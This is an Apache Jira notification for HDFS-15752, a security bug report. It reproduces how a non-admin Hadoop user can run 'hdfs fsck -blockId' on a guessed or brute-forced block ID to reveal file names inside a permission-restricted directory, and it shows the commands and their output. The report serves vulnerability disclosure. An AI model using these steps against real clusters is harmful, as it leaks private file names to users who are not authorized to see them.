[
https://issues.apache.org/jira/browse/HDFS-15752?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
lujie updated HDFS-15752:
-------------------------
Comment: was deleted
(was: [~ayushtkn]
It is something different, I send a email to hadoop security, but has not
received any response. Can i forward the email to you?and is
[ayushsax...@apache.org|mailto:ayushsax...@apache.org] your email address?)
> A user can obtain the infomation of blocks belong to other users
> ----------------------------------------------------------------
>
> Key: HDFS-15752
> URL: https://issues.apache.org/jira/browse/HDFS-15752
> Project: Hadoop HDFS
> Issue Type: Bug
> Components: security
> Reporter: lujie
> Priority: Blocker
> Labels: fsck
>
> It has been fix as part of https://issues.apache.org/jira/browse/HDFS-15717.
> reattach my reproduce step to let others know we need prevent it.
> {quote}reproduce step
> # login as one user, in our case, super user .
> # hadoop fs -mkdir /private
> # hadoop fs -chmod 700 /private
> # echo "data" | hadoop fs -put - /private/file_name_sensitive.txt
> # hadoop fs -chmod 700 /private/file_name_sensitive.txt #(the
> name of files in /private can be company name, bank name, customer's name,or
> other sensitive infomration, so we need chmod /private and files in it to
> 700)
> # login as non-admin user, named as user1
> # hdfs fsck -blockId $blockID # $blockID belong to
> file_name_sensitive.txt, user1 can infer the blockID based on his/her own
> block id. We can also find a suitable one by brute force search.
> # check the output
> Block Id: blk_1073741825
> Block belongs to:
> {color:#ff0000}/private/file_name_sensitive.txt{color}
> No. of Expected Replica: 3
> No. of live Replica: 2
> No. of excess Replica: 0
> No. of stale Replica: 0
> No. of decommissioned Replica: 0
> No. of decommissioning Replica: 0
> No. of corrupted Replica: 0
> Block replica on datanode/rack: hadoop13/default-rack is
> HEALTHY
> Block replica on datanode/rack: hadoop12/default-rack is
> HEALTHY
> 9. we can see that user1 can see the file name in /private. But in
> correct case, for example, user1 do "ls /private", the outpur is
> Permission denied: user=user1, access=READ_EXECUTE,
> inode="/private":hdfs:hdfs:drwx------{quote}
--
This message was sent by Atlassian Jira
(v8.3.4#803005)
---------------------------------------------------------------------
To unsubscribe, e-mail: hdfs-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: hdfs-issues-h...@hadoop.apache.org
